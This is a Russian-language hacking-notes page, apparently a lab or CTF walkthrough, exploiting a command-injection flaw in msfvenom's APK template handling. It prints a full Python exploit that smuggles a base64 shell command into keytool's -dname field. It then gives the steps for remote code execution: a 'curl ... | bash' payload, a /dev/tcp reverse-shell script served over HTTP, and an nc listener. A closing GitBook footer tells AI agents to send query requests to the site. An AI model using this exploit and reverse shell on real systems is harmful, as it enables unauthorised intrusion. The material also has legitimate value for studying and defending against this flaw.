> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/msfvenom-apk-exploitation.md).

# APK с Msfvenom

## Внедрение команды в шаблон APK msfvenom

<figure><img src="/files/ec44c145f840eb365c0c7126dd9d1cab6d65fa20" alt=""><figcaption></figcaption></figure>

На порту 5000 обнаружен уязвимый сервис.

<figure><img src="/files/54e5ebab6891dc63322f11b1ad0c9957090731cb" alt=""><figcaption></figcaption></figure>

Поиск связанных уязвимостей:

```bash
searchsploit -m multiple/local/49491.py
```

Обнаружена потенциальная инъекция на основе APK.

<figure><img src="/files/f59f0399a47f847871b04897a40cad9f7ba61337" alt="" width="557"><figcaption></figcaption></figure>

**Скрипт эксплойта (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Измени меня
payload = 'ping 10.10.14.50'

# b64encode, чтобы избежать плохих символов (keytool привередлив)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] Создаю вредоносный APK-файл")
print(f"Полезная нагрузка: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Создать empty_file
open(empty_file, "w").close()

# Создать apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Сгенерировать ключ подписи со злонамеренным -dname
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Подписать APK, используя наш злонамеренный dname
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Готово! apk-файл находится в {apk_file}")
print(f"Выполни: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

Скрипт создает временный файл, содержащий вредоносный APK.

<figure><img src="/files/9d97356d0911f436a06480c9bb9c47bfdb47144c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e32707c117af5707170b1904b58133d9592ea46e" alt=""><figcaption></figcaption></figure>

**Анализ ICMP-пакетов**

Следите за сетевой активностью в ожидании обратного вызова:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/fb7a7b590a4a842b0b5240b48cf8a8fb497f01ef" alt=""><figcaption></figcaption></figure>

### **Эксплуатация RCE с помощью Msfvenom**

Измените полезную нагрузку, чтобы установить обратное соединение:

```bash
# Измени меня
payload = 'curl 10.10.14.50 | bash'
```

Создайте `index.html` файл, содержащий:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Запустите HTTP-сервер:

```bash
python3 -m http.server 80
```

Затем прослушайте соединение на порту 443:

```bash
nc -nlvp 443
```

Как только APK будет отправлен и выполнен на целевой машине, будет получена удаленная оболочка.

<figure><img src="/files/f6b4e2ff2876b6e1675a0f1dff43de88792814d4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/msfvenom-apk-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
